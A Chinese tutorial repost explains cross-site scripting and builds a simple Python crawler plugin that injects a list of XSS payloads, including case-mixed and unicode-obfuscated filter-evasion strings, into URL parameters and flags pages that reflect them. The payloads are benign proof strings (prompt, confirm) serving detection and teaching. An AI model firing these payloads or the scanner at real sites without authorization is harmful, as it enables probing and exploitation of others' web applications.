基于爬虫开发XSS检测插件

栏目: 编程工具 · 发布时间: 5年前

内容简介:跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该网页之时,嵌入其中的Script代码将会被执行,从而达到恶意攻击用户的目的先做一个很简单的XSS检测工具,通过一些XSS的payload list

什么是XSS

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该网页之时,嵌入其中的Script代码将会被执行,从而达到恶意攻击用户的目的

XSS检测原理

先做一个很简单的XSS检测工具,通过一些XSS的 payload 加入到url参数中,然后查找url的源码中是否存在这个参数,存在则可以证明网页存在XSS漏洞

payload list

</script>"><script>prompt(1)</script>
</ScRiPt>"><ScRiPt>prompt(1)</ScRiPt>
"><img src=x onerror=prompt(1)>
"><svg/onload=prompt(1)>
"><iframe/src=javascript:prompt(1)>
"><h1 onclick=prompt(1)>Clickme</h1>
"><a href=javascript:prompt(1)>Clickme</a>
"><a href="javascript:confirm%28 1%29">Clickme</a>
"><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a>
"><textarea autofocus onfocus=prompt(1)>
"><a/href=javascript:co\u006efir\u006d "1" >clickme</a>
"><script>co\u006efir\u006d`1`</script>
"><ScRiPt>co\u006efir\u006d`1`</ScRiPt>
"><img src=x onerror=co\u006efir\u006d`1`>
"><svg/onload=co\u006efir\u006d`1`>
"><iframe/src=javascript:co\u006efir\u006d%28 1%29>
"><h1 onclick=co\u006efir\u006d(1)>Clickme</h1>
"><a href=javascript:prompt%28 1%29>Clickme</a>
"><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a>
"><textarea autofocus onfocus=co\u006efir\u006d(1)>
"><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome
"><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme
"><img/src=x%0Aonerror=prompt`1`>
"><iframe srcdoc="<img src=x:x onerror=alert(1)>">
"><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1>

代码编写

为了以后代码编写的方便,我们编写一个函数取出url中的参数,比如 https://wmathor.com/python/?a=1&b=2&c=3 。我们要将1 2 3都取出来进行替换,所以我们先创建一个公共函数来分割这些文本

在文件 lib/core/common.py

def urlsplit(url):
    domain = url.split("?")[0]
    _url = url.split("?")[-1]
    param = {}
    for val in _url.split("&"):
        param[val.split("=")[0]] = val.split("=")[-1]
    
    # Combine
    urls = []
    for val in param.values():
        new_url = domain + '?' + _url.replace(val, 'my_Payload')
        urls.append(new_url)
    return urls

这个函数很简单,函数返回的是一个元祖,将每个参数用my_Payload标记,到时候替换这个参数就行了

接下来编写XSS检查程序,这个程序也是基于一个爬虫的框架

在开始之前,需要在目录新建一个data文件夹,这个文件夹用于存储一些数据。然后新建一个 xss.txt ,内容为之前的xss payload list

XSS检测程序代码

script 目录下新建文件 xss_check.py 。代码如下

#-*- coding:utf-8 -*-
from lib.core import Download, common
import sys, os

payload = []
filename = os.path.join(sys.path[0], 'data', 'xss.txt')
f = open(filename)
for i in f:
    payload.append(i.strip())

class spider():
    def run(self, url, html):
        download = Download.Downloader()
        urls = common.urlsplit(url)
        
        if urls is None:
            return False
        for _urlp in urls:
            for _payload in payload:
                _url = _urlp.replace("my_Payload", _payload)
                print("[XSS test]:", _url)
                
                # We Need test and spilt all paramters of URL
                _str = download.get(_url)
                if _str is None:
                    return False
                if (_str.find(_payload) != -1):
                    print("XSS found:%s" % url)
        return False

基于爬虫开发XSS检测插件


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Design for Hackers

Design for Hackers

David Kadavy / Wiley / 2011-10-18 / USD 39.99

Discover the techniques behind beautiful design?by deconstructing designs to understand them The term ?hacker? has been redefined to consist of anyone who has an insatiable curiosity as to how thin......一起来看看 《Design for Hackers》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具